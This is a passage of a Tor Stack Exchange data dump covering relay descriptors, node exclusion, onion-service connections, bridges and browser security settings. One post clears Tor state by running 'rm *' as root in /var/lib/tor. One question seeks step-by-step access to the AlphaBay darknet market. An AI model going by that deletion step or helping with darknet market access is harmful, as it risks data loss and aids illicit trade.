  <row Id="23338" PostTypeId="2" ParentId="23336" CreationDate="2022-09-21T03:37:13.133" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;How can I pick up the advertised bandwidth of a Tor relay by looking at cached-microdesc-consensus file?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can't directly since this information is not contained in the microdescriptor. The microdescriptors contain only the information needed for the client to build circuits, and the advertised bandwidth isn't needed for that. You will need to download the larger server descriptor if you want this information. Tor clients do not download this server descriptor by default, but I think this can be enabled with the &lt;code&gt;FetchUselessDescriptors&lt;/code&gt; option.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;router privater 135.181.213.167 9000 0 0&#xA;identity-ed25519&#xA;-----BEGIN ED25519 CERT-----&#xA;AQQABw7PAYMbb9KFcgEg7Gsl/htuz0AgGtdlKgA7G6t93rWowDNKAQAgBAADCGVm&#xA;oBu2q31EVkGpNo8bYsDcJOKJJZGSv7bukEVkt3I0ZDuV07vWO0pgNVRlJwQQgCMn&#xA;OffN0dnwxcGUwGdfirXMLoRgQL7InFy2rl4qiMLudQvskpyEZohYBD/PJgU=&#xA;-----END ED25519 CERT-----&#xA;master-key-ed25519 AwhlZqAbtqt9RFZBqTaPG2LA3CTiiSWRkr+27pBFZLc&#xA;or-address [2a01:4f9:3a:2b96::2]:9000&#xA;platform Tor 0.4.7.10 on Linux&#xA;proto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4&#xA;published 2022-09-20 09:42:36&#xA;fingerprint 57A2 9537 7F31 67AD 554B 521F 4615 1849 43C3 9CE1&#xA;uptime 2&#xA;bandwidth 31457280 1073741824 41959424&#xA;extra-info-digest 4BFE0FF549703B8D72D3199B398404B176D5633B WKIRVM/PrRj3aA8QpM67lwpIBxnfgKuYz+YHFpcZXws&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/torproject/torspec/blob/79da008392caed38736c73d839df7aa80628b645/dir-spec.txt#L534&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torproject/torspec/blob/79da008392caed38736c73d839df7aa80628b645/dir-spec.txt#L534&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;bandwidth&amp;quot; bandwidth-avg bandwidth-burst bandwidth-observed NL&lt;/p&gt;&#xA;&lt;p&gt;[Exactly once]&lt;/p&gt;&#xA;&lt;p&gt;Estimated bandwidth for this router, in bytes per second.  The&#xA;&amp;quot;average&amp;quot; bandwidth is the volume per second that the OR is willing to&#xA;sustain over long periods; the &amp;quot;burst&amp;quot; bandwidth is the volume that&#xA;the OR is willing to sustain in very short intervals.  The &amp;quot;observed&amp;quot;&#xA;value is an estimate of the capacity this relay can handle.  The&#xA;relay remembers the max bandwidth sustained output over any ten&#xA;second period in the past 5 days, and another sustained input.  The&#xA;&amp;quot;observed&amp;quot; value is the lesser of these two numbers.&lt;/p&gt;&#xA;&lt;p&gt;Tor versions released before 2018 only kept bandwidth-observed for one&#xA;day. These versions are no longer supported or recommended.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-09-21T03:37:13.133" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23339" PostTypeId="2" ParentId="23337" CreationDate="2022-09-21T03:45:23.807" Score="1" Body="&lt;p&gt;From the man page:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;EntryNodes&lt;/strong&gt; node,node,...&lt;/p&gt;&#xA;&lt;p&gt;[...]&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;ExcludeNodes&lt;/strong&gt; option overrides this option: any node listed in both &lt;strong&gt;EntryNodes&lt;/strong&gt; and &lt;strong&gt;ExcludeNodes&lt;/strong&gt; is treated as excluded.&lt;/p&gt;&#xA;&lt;p&gt;[...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;ExitNodes&lt;/strong&gt; node,node,...&lt;/p&gt;&#xA;&lt;p&gt;[...]&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;ExcludeNodes&lt;/strong&gt; option overrides this option: any node listed in both &lt;strong&gt;ExitNodes&lt;/strong&gt; and &lt;strong&gt;ExcludeNodes&lt;/strong&gt; is treated as excluded.&lt;/p&gt;&#xA;&lt;p&gt;[...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Also note that using &lt;code&gt;StrictNodes 1&lt;/code&gt; and a long list of &lt;code&gt;ExcludeNodes&lt;/code&gt; will prevent you from accessing some onion services.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-09-21T03:45:23.807" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23342" PostTypeId="1" CreationDate="2022-09-23T19:26:47.577" Score="0" ViewCount="247" Body="&lt;p&gt;I'm very uneducated about this so pardon me if I'm using the wrong words. I saw on Twitter that one can make their computer into a &amp;quot;proxy&amp;quot; or &amp;quot;node&amp;quot; to facilitate the Tor network to help Iranian protestors gain access to the internet.&#xA;Can someone please explain to me how?&lt;/p&gt;&#xA;" OwnerUserId="37298" LastActivityDate="2022-10-17T01:05:45.127" Title="How to become a TOR node" Tags="|proxy|node|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23343" PostTypeId="1" CreationDate="2022-09-25T02:51:52.357" Score="0" ViewCount="40" Body="&lt;p&gt;Sorry about my poor English.&#xA;I am a newbie in tor development and installed Test Onion Service on my local computer and tested it.(&lt;a href=&quot;https://www.jamieweb.net/blog/onionv3-hidden-service/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jamieweb.net/blog/onionv3-hidden-service/&lt;/a&gt;)&#xA;Using tor browser, when I input *******************************.onion in URL, Ubuntu's index page appears.&#xA;My goal is modify it's traffic on my local computer. so instead of Ubuntu's index page, display my own text on tor browser is what I want.&#xA;Is it possible and how? I am using &amp;quot;https://github.com/torproject/tor&amp;quot;&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="37306" LastActivityDate="2022-10-17T01:02:42.417" Title="Tor traffic modify in my local server" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23345" PostTypeId="1" CreationDate="2022-09-27T08:19:33.783" Score="1" ViewCount="174" Body="&lt;p&gt;In TOR manual we have the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Safer (...) &lt;strong&gt;JavaScript is disabled on all non-HTTPS sites&lt;/strong&gt;; some fonts&#xA;and math symbols are disabled; audio and video (HTML5 media) are&#xA;click-to-play.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I was wondering whether this apply to .onion HTTP sites, since most of them are not HTTPS. Logic would dictate that when .onion site is HTTP &amp;quot;safer&amp;quot; security setting would block JavaScript on such site.&lt;/p&gt;&#xA;&lt;p&gt;Am I right? Or above just applies to clearnet sites?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="37322" LastActivityDate="2022-09-27T08:19:33.783" Title="Does &quot;safer&quot; security setting on Tor disable javascript on HTTP .onion sites?" Tags="|security|javascript|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23347" PostTypeId="1" CreationDate="2022-10-01T19:18:08.640" Score="0" ViewCount="120" Body="&lt;p&gt;From &lt;code&gt;about:preferences&lt;/code&gt; in &lt;code&gt;Security&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;Safer&lt;/code&gt;&#xA;Disables website features that are often dangerous, causing some sites to lose functionality.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;JavaScript is disabled on non-HTTPS sites.&lt;/li&gt;&#xA;&lt;li&gt;Some fonts and math symbols are disabled.&lt;/li&gt;&#xA;&lt;li&gt;Audio and video (HTML5 media), and WebGL are click-to-play.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My question is: What, for example, can one do if I have Javascript enabled in an HTTP site? How am I safer with certain fonts and math symbols disabled?&lt;/p&gt;&#xA;" OwnerUserId="37175" LastActivityDate="2022-10-29T16:46:52.377" Title="What's more safe in mode &quot;Safer&quot;?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23352" PostTypeId="2" ParentId="22619" CreationDate="2022-10-06T12:06:11.883" Score="0" Body="&lt;p&gt;I used the script from &lt;a href=&quot;https://tor.stackexchange.com/a/23127/37366&quot;&gt;@allstreamer&lt;/a&gt;, enhanced it a little bit and added a docker-compose template, so it is easier to set everything up: &lt;a href=&quot;https://gist.github.com/MariusHerget/8e061217ad0fb5709ac498e082903bd7&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gist&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It has the following features:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Docker-compose is pre-configured to use the current directory to save the log file.&lt;/li&gt;&#xA;&lt;li&gt;Read in the log file and give you statistics about &lt;em&gt;number of connections&lt;/em&gt; and &lt;em&gt;used download/upload bandwidth&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Configurable time windows (default: &lt;em&gt;All time&lt;/em&gt;, &lt;em&gt;Last 24h&lt;/em&gt; and &lt;em&gt;Last Week&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Example output:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[All time ] Served 2978 People with ↑ 14.941 GB, ↓ 3.0149 GB&lt;/p&gt;&#xA;&lt;p&gt;[Last 24h ] Served  406 People with ↑  1.7402 GB, ↓ 0.4143 GB&lt;/p&gt;&#xA;&lt;p&gt;[Last Week] Served 2473 People with ↑ 12.6182 GB, ↓ 2.5372 GB&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="37366" LastActivityDate="2022-10-06T12:06:11.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23354" PostTypeId="1" CreationDate="2022-10-10T02:55:29.710" Score="1" ViewCount="52" Body="&lt;p&gt;If I open an onion site with the Tor browser, can nodes know the address of the .onion site I'm connecting to?&lt;/p&gt;&#xA;" OwnerUserId="37383" LastActivityDate="2022-10-10T02:55:29.710" Title="Can nodes know which .onion address I'm connecting to?" Tags="|onion-routing|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23355" PostTypeId="1" AcceptedAnswerId="23439" CreationDate="2022-10-10T11:58:28.343" Score="1" ViewCount="121" Body="&lt;p&gt;How do you use torify with another browser through a bridge? (because tor is blocked by the ISP)&lt;/p&gt;&#xA;" OwnerUserId="37384" LastActivityDate="2022-11-29T20:38:04.910" Title="Using torify with another browser?" Tags="|torsocks|browsers|torify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23356" PostTypeId="1" AcceptedAnswerId="23479" CreationDate="2022-10-10T12:43:06.280" Score="2" ViewCount="150" Body="&lt;p&gt;So I'm trying to open Tor Browser but it's just doesn't open and shows me this empty message box:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1IJoU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1IJoU.png&quot; alt=&quot;Screenshot of empty Error Message&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've done some research and found some solution with windows firewall but it didn't help at all:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/t8VqV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t8VqV.png&quot; alt=&quot;Cropped screenshot of firewall display&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="37381" LastEditorUserId="25432" LastEditDate="2022-12-21T19:44:50.260" LastActivityDate="2022-12-21T19:44:50.260" Title="Tor Browser doesn't work on Win10 after update" Tags="|firefox|network-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23362" PostTypeId="2" ParentId="23343" CreationDate="2022-10-17T01:02:42.417" Score="0" Body="&lt;p&gt;yes it is possible! even more - adopt the IPFS for all the static content you do have. Utilizing a NodeJS service worker you can even put the load ahead from the backend. I'll be presenting exactly this in CryptoZoom conference at 12th of November 2022. To change the starting page you just need to change your index.html file, but don't limit yourself to it: a WordPress or Drupal are working just fine for any dynamic content you need&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-10-17T01:02:42.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23363" PostTypeId="2" ParentId="23342" CreationDate="2022-10-17T01:05:45.127" Score="0" Body="&lt;p&gt;There're multiple roles in a Tor network, and I suggest you to start as a regular node with a Directory mirror. All you have to ensure for that is just two ports opened - for the relay and for the directory mirror. If you need further instructions - just drop me a line!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-10-17T01:05:45.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23365" PostTypeId="1" AcceptedAnswerId="23372" CreationDate="2022-10-18T11:51:07.953" Score="0" ViewCount="40" Body="&lt;p&gt;When I read source code of Tor,I found a concept called origin circuit, which appears a lot in the source code. I think it refers to the circuit from OP to OR.Is that correct? And what are the differences among origin_circuit_t, or_circuit_t and circuit_t? Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="37426" LastActivityDate="2022-10-21T22:51:45.670" Title="What means origin circuit in Tor Project?" Tags="|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23367" PostTypeId="1" CreationDate="2022-10-19T13:45:30.870" Score="0" ViewCount="254" Body="&lt;p&gt;Vanilla bridges do not work in OnionFruit vpn-style program for Windows, and on my Debian system - tor service won't start also.&lt;/p&gt;&#xA;&lt;p&gt;In Debian 10 I've added these lines at the end of /etc/tor/torrc file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;bridge 23.22.110.133:443 A127C4FDAD3080541EC6ACC0D8ACD704&#xA;bridge 24.22.1.54:443 ABCDEFGHAD3080541EC6ACC0D8ACD704&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I run &lt;code&gt;sudo service tor restart&lt;/code&gt;&#xA;And to see results &lt;code&gt;sudo journalctl -exft Tor&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It just stops at&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Bootstrapped 20%: Asking for networkstatus consensus&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As I said bridges are fine and working ones.&#xA;How to make bridges work in Debian?&lt;/p&gt;&#xA;" OwnerUserId="37430" LastActivityDate="2022-10-20T11:29:02.703" Title="Vanilla bridges work fine in Tor Browser (Windows) and Orbot (Android) but doesn't anywhere else" Tags="|configuration|bridge|linux|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23369" PostTypeId="2" ParentId="21219" CreationDate="2022-10-19T20:29:09.400" Score="0" Body="&lt;p&gt;Well, first of all you have to be very experienced in network anonymity and math, technical background will come to you while you will be implementing it, but first of all you need a paper and a pencil to create a design of &lt;em&gt;each and every&lt;/em&gt; moment of your network, only completing this task you're starting to write a first line of code&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-10-19T20:29:09.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23370" PostTypeId="2" ParentId="23367" CreationDate="2022-10-20T11:29:02.703" Score="0" Body="&lt;p&gt;Everything worked after clearing cache&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo su&#xA;cd /var/lib/tor&#xA;rm *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and rebooting afterwards&lt;/p&gt;&#xA;" OwnerUserId="37430" LastActivityDate="2022-10-20T11:29:02.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23371" PostTypeId="2" ParentId="7308" CreationDate="2022-10-21T19:30:52.497" Score="0" Body="&lt;p&gt;As others mentioned, this would defeat a lot of the benefits of Tor.&lt;/p&gt;&#xA;&lt;p&gt;But we shouldn't gatekeep on SE. OP may have a legitimate use-case.&lt;/p&gt;&#xA;&lt;h3&gt;Tor2Web&lt;/h3&gt;&#xA;&lt;p&gt;Look into Tor2Web:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/tor2web/Tor2web&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/tor2web/Tor2web&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Tor2Web was originally &lt;a href=&quot;https://blog.torproject.org/quick-thoughts-tor2web&quot; rel=&quot;nofollow noreferrer&quot;&gt;designed by Aaron Swartz and Virgil Griffith in 2008&lt;/a&gt; to provide a means for users without tor to visit .onion websites from the clearnet -- thus providing anonymity to the server, but not to the client.&lt;/p&gt;&#xA;" OwnerUserId="31208" LastActivityDate="2022-10-21T19:30:52.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23372" PostTypeId="2" ParentId="23365" CreationDate="2022-10-21T22:46:43.953" Score="0" Body="&lt;p&gt;These circuit objects link connections together. An &lt;code&gt;origin_circuit_t&lt;/code&gt; represents the beginning of a circuit. It links application connections (for example, SOCKS connections from a web browser) to the first relay connection (for example a connection to the guard). An &lt;code&gt;or_circuit_t&lt;/code&gt; is used where most other connections need to be linked. For example at a relay which links a relay connection (from a client or relay) to a relay connection to some other relay, or a relay connection to edge connections (connections leaving the tor network).&lt;/p&gt;&#xA;&lt;p&gt;Both &lt;code&gt;origin_circuit_t&lt;/code&gt; and &lt;code&gt;or_circuit_t&lt;/code&gt; contain a &lt;code&gt;circuit_t&lt;/code&gt;. In an OOP sense, &lt;code&gt;origin_circuit_t&lt;/code&gt; and &lt;code&gt;or_circuit_t&lt;/code&gt; &amp;quot;inherit&amp;quot; from &lt;code&gt;circuit_t&lt;/code&gt; and so are subtypes of &lt;code&gt;circuit_t&lt;/code&gt;. You can use &lt;code&gt;TO_CIRCUIT()&lt;/code&gt; to cast either to a &lt;code&gt;circuit_t&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2022-10-21T22:51:45.670" LastActivityDate="2022-10-21T22:51:45.670" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23373" PostTypeId="1" AcceptedAnswerId="23374" CreationDate="2022-10-22T15:25:13.333" Score="1" ViewCount="661" Body="&lt;p&gt;Let us say, a client with Tor browser tries to connect to my .onion web-server, both the client and the server will create Tor circuits and meet at the Rendezvous-Point, for now I hope I'm right.&lt;/p&gt;&#xA;&lt;p&gt;The client to see my webpage will send a GET HTTP REQUEST, this request will go over 6 tor nodes, when the last node send the packet to my home router, how will my home router (or server firewall) accept it since it's in-going connection?&lt;/p&gt;&#xA;&lt;p&gt;In the articles they say that both client and server connections are outgoing, but i just don't understand it when obviously at some point my server will receive requests from the outside.&lt;/p&gt;&#xA;" OwnerUserId="37447" LastEditorUserId="88" LastEditDate="2022-10-25T07:39:23.327" LastActivityDate="2022-10-25T07:47:53.197" Title="Why Tor Onion Service doesn't need port-forwarding, nor a configuration at the firewall?" Tags="|onion-services|firewall|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23374" PostTypeId="2" ParentId="23373" CreationDate="2022-10-22T22:49:18.603" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;In the articles they say that both client and server connections are outgoing, but i just don't understand it when obviously at some point my server will receive requests from the outside.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Requests are different than connections. A connection refers to the TCP connection and a request refers to the HTTP request. In Tor there are many connections in many different directions.&lt;/p&gt;&#xA;&lt;p&gt;When they talk about an incoming or outgoing connection, they are referring to the direction of the original TCP connection. For example when a client connects to a regular web server, the client opens an outgoing TCP connection to the server and the server accepts this incoming TCP connection. Data flows in both directions as the client sends the HTTP request and receives the response.&lt;/p&gt;&#xA;&lt;p&gt;This is not how it works with onion services. With onion services, both the client and server run Tor proxies. These Tor proxies each make a single outgoing TCP connection to the Tor network as part of their circuits to the rendezvous point, and the rendezvous point connects the circuits together. Data that is sent from the client will travel through this circuit and pass through the rendezvous relay on its way to the onion service.&lt;/p&gt;&#xA;&lt;p&gt;Since the firewall sits between the Tor proxy and the Tor network, and the Tor proxy makes an outgoing connection to the Tor network, this is an outgoing connection from the onion service to the Internet. Even though the onion service is receiving the HTTP request, that does not mean that it's an incoming connection. The connection is the original outgoing TCP connection that the onion service made to the Tor network. In this case you can think of the HTTP request traveling &amp;quot;backwards&amp;quot; along the server Tor proxy's outgoing TCP connection.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-10-22T22:49:18.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23375" PostTypeId="1" CreationDate="2022-10-24T18:43:06.333" Score="1" ViewCount="275" Body="&lt;p&gt;Periodicly, the tor daemon is frozen.&#xA;In logs I see only this&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;No circuits are opened. Relaxed timeout for circuit 121 (a Hidden service: Establishing introduction point 4-hop circuit in state doing handshakes with channel state open) to 118930ms. However, it appears the circuit has timed out anyway.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Internet connection is stable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Tor 0.4.7.10 running on Linux with Libevent 2.1.12-stable, OpenSSL 3.0.2, Zlib 1.2.11, Liblzma 5.2.5, Libzstd 1.4.8 and Glibc 2.35 as libc.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;OS: Ubuntu 20.04&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know something about this issue?&lt;/p&gt;&#xA;" OwnerUserId="33585" LastEditorUserId="23661" LastEditDate="2022-11-29T20:40:52.080" LastActivityDate="2022-11-29T20:40:52.080" Title="tor is frozen (No circuits are opened.)" Tags="|connection|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23376" PostTypeId="2" ParentId="23373" CreationDate="2022-10-25T07:47:53.197" Score="0" Body="&lt;p&gt;When someone opens an &lt;code&gt;.onion&lt;/code&gt; link, it goes over a Tor circuit to the rendezvous point as you said. The computer which hosts the Tor Onion service and the web server also needs to maintain a Tor circuit. So, in a way, this computer acts also as a Tor client and as long as it is possible for the machine to have an outgoing Tor connection it can also work as Tor onion service. Maybe the image below clarifies it a bit.&lt;/p&gt;&#xA;&lt;p&gt;The Tor Project has an &lt;a href=&quot;https://community.torproject.org/onion-services/overview/&quot; rel=&quot;nofollow noreferrer&quot;&gt;overview page for Onion Services&lt;/a&gt;. The image below is from the page:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6RGAS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6RGAS.png&quot; alt=&quot;Last step of building an onion service connection&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2022-10-25T07:47:53.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23378" PostTypeId="1" CreationDate="2022-10-26T12:51:19.050" Score="1" ViewCount="2799" Body="&lt;p&gt;I am trying to buy something on Alpha Bay but I am not sure how to get to the Alpha Bay website and how do I know it's the real one and not a spoofed mirror site.&lt;/p&gt;&#xA;&lt;p&gt;I am using an iPhone and just went to the iPhone app store and downloaded an app called Tor Browser. When I went on it, the homepage is just a Microsoft Bing search bar, so I typed alphabay and a wiki page was listed first, then a bunch of other results listings, with most of them saying things in the headline like the best darknet markets websites etc... but no listing for Alpha Bay.&lt;/p&gt;&#xA;&lt;p&gt;Can someone explain how I can get on Alpha Bay and be sure it's the real site? I read there are a ton of spoofed mirror sites that look exactly like the real one, but you will send your Bitcoin to what you think is a legitimate vendor on Alpha Bay and then you won't receive the product because you used a duped replica scam site.&lt;/p&gt;&#xA;&lt;p&gt;Also besides Alpha Bay, what are a couple of other established legitimate market places - and like my question above, how do I find the URL and access them, and what can I do to ensure I am using the authentic marketplace website?&lt;/p&gt;&#xA;&lt;p&gt;I am in need of a certain anxiety medication and was told I could obtain it cheaply on the dark web since I don't have health insurance. Just FYI it's a legal medication and not a controlled substance so I wouldn't be breaking any laws.&lt;/p&gt;&#xA;&lt;p&gt;Anyone who can help with a step by step explanation that's easy to understand on how I can use the dark web on my phone to access either Alpha Bay or another legitimate marketplace would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="37468" LastEditorUserId="14924" LastEditDate="2022-12-01T12:30:38.907" LastActivityDate="2022-12-01T12:30:38.907" Title="Trying to reach the Alpha Bay marketplace first time using Tor" Tags="|onion-routing|tor-install|directory|darknet|spoofing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23380" PostTypeId="1" CreationDate="2022-10-29T15:30:04.443" Score="0" ViewCount="86" Body="&lt;p&gt;Planning on starting my own hidden service but would want some advice regarding the security/privacy. Looking for someone with experience to be able to tell me from A to Z (from nothing to finished product) and how to maintain the hidden service.&#xA;If you don't feel comfortable here we could for sure talk on a different platform.&lt;/p&gt;&#xA;" OwnerUserId="37483" LastActivityDate="2022-10-29T15:30:04.443" Title="Hidden service setup" Tags="|configuration|onion-services|anonymity|security|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23381" PostTypeId="2" ParentId="23347" CreationDate="2022-10-29T16:46:52.377" Score="1" Body="&lt;p&gt;When using HTTP, theoretically anyone could just hack your connection (if you use tor, then the connection between the exit node and the website), and they could inject some malicious javascripts into the webite. So, JavaScript is disabled on insecure HTTP connections, because it might be malicious, and javascript can be verry malicous.&lt;/p&gt;&#xA;&lt;p&gt;About the fonts: i am not sure, but symbols can track you (like canvas) and even font fingerprinting is real. So by disabling this, you are safer, i guess.&lt;/p&gt;&#xA;" OwnerDisplayName="user37484" LastActivityDate="2022-10-29T16:46:52.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23384" PostTypeId="2" ParentId="21219" CreationDate="2022-10-30T06:16:33.137" Score="0" Body="&lt;p&gt;I want tor for socially interact with people&#xA;And i also want a job&lt;/p&gt;&#xA;" OwnerUserId="37486" LastActivityDate="2022-10-30T06:16:33.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23385" PostTypeId="1" AcceptedAnswerId="23387" CreationDate="2022-11-01T02:37:20.793" Score="0" ViewCount="340" Body="&lt;p&gt;I want to try to use some Tor nodes as a proxy for personal use, based on this I think I need to enter the node's public ip address and its port in the proxy settings. How right am I and is this scenario realistic?&lt;/p&gt;&#xA;&lt;p&gt;I am using &lt;a href=&quot;https://www.dan.me.uk/tornodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dan.me.uk/tornodes&lt;/a&gt; to search for nodes.&lt;/p&gt;&#xA;&lt;p&gt;I've tried connecting several of these nodes as proxies through Proxifier, but nothing worked.&lt;/p&gt;&#xA;" OwnerUserId="37383" LastActivityDate="2022-11-01T14:27:19.420" Title="Use public Tor nodes as a proxy for your own use" Tags="|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23386" PostTypeId="2" ParentId="23135" CreationDate="2022-11-01T13:56:57.197" Score="1" Body="&lt;p&gt;Monterey changed the way of DYLD hooking, here is a similar issue: &lt;a href=&quot;https://github.com/rofl0r/proxychains-ng/issues/409&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/rofl0r/proxychains-ng/issues/409&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="37491" LastActivityDate="2022-11-01T13:56:57.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23387" PostTypeId="2" ParentId="23385" CreationDate="2022-11-01T14:27:19.420" Score="1" Body="&lt;p&gt;This is not how Tor relays work. They only proxy traffic sent to them from a Tor client (ex: web browser -&amp;gt; tor client -&amp;gt; tor network). You cannot set an IP/port for a relay directly in your application's proxy settings.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-11-01T14:27:19.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
